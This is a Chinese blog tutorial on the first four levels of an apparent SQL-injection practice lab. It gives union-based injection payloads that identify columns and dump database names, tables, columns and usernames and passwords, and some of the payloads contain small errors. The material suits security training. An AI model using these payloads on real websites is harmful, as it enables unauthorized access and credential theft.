目錄
- 前言
- 用到的一些東西:
- 注入流程
- 第一關
- 第二關
- 第三關
- 第四關
前言
如果你是使用的phpstudy,請務必將sql的版本調到5.5以上,因為這樣你的資料庫內才會有information_schema資料庫,方便進行實驗測驗,
另外-- (這里有一個空格,–空格)在SQL內表示注釋,但在URL中,如果在最后加上-- ,瀏覽器在發送請求的時候會把URL末尾的空格舍去,所以我們用–+代替-- ,原因是+在URL被URL編碼后會變成空格,
用到的一些東西:
1. concat(str1,str2,...) #沒有分隔符地連接字串
2. concat_ws(separator,str1,str2,...) #含有分隔符地連接字串
3. group_concat(str1,str2,...) #連接一個組的所有字串,并以逗號分隔每一條資料
說著比較抽象,其實也并不需要詳細了解,知道這三個函式能一次性查出所有資訊就行了,
order by #猜欄位
database() #爆資料庫名
user() #爆資料庫用戶名
union ..... 聯合查詢
selcet group_concat(table_name) from information_schema.tables where table_schema='security'
#查詢指定資料庫security的表名
select group_concat(column_name)from information_schema.columns where table_name='user'
#查詢指定表的列名資訊
select 1,group_concat(username),group_concat(password) from security.user
#獲取資料
注入流程
mysql資料庫存盤的資料按照上圖的形式,一個資料庫當中有很多的資料表,資料表當中有很多的列,每一列當中存盤著資料,我們注入的程序就是先拿到資料庫名,在獲取到當前資料庫名下的資料表,再獲取當前資料表下的列,最后獲取資料,
第一關
1.id=1’ 頁面不正常,表示可能存在SQL字符注入,輸入–+將sql后面的陳述句注視掉后,發現頁面回顯正常,則證明這個地方是單引號字符型注入


2.使用order by猜欄位


超過3報錯說明有3個
3.將id=1改為一個資料庫不存在的id值,如-1,使用union select 1,2,3聯合查詢陳述句查看頁面是否有顯示位,

有兩個顯示位
4.爆資料庫名和資料庫用戶
id=-1' union 1,database(),user() --+
5.爆表名
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+

6.爆列名
id=-1' union select 1,2,group_concat(column_name) from information.columns where table_name = 'users' --+

7.爆用戶名,密碼
id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

第二關
1.id=1 and 1=1,id=1 and 1=2判斷數值型注入
2.order by 3 頁面顯示正常,order by 4頁面顯示不正常,所以該表有3列資料
接著可以使用聯合查詢進行注入,詳細程序參考第一關
第三關
1.向頁面輸入?id=1’ --+頁面顯示不正常,但?id=1’) --+顯示正常,說明是字符型注入,且是(’’)閉合的


后續程序參考第一關
2.接著使用order by 判斷表中有3列資料
3.接著使用聯合查詢,union select 1,2,3 判斷頁面是否有顯示位
4.爆表名列名資料
第四關
1.與第三關類似,第四關使用 ("") 的方式閉合字串,然后可以優先使用聯合查詢注入 (多試幾次就知道了)
2.判斷完型別后,后續步驟跟第一關差不多,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/295334.html
標籤:其他
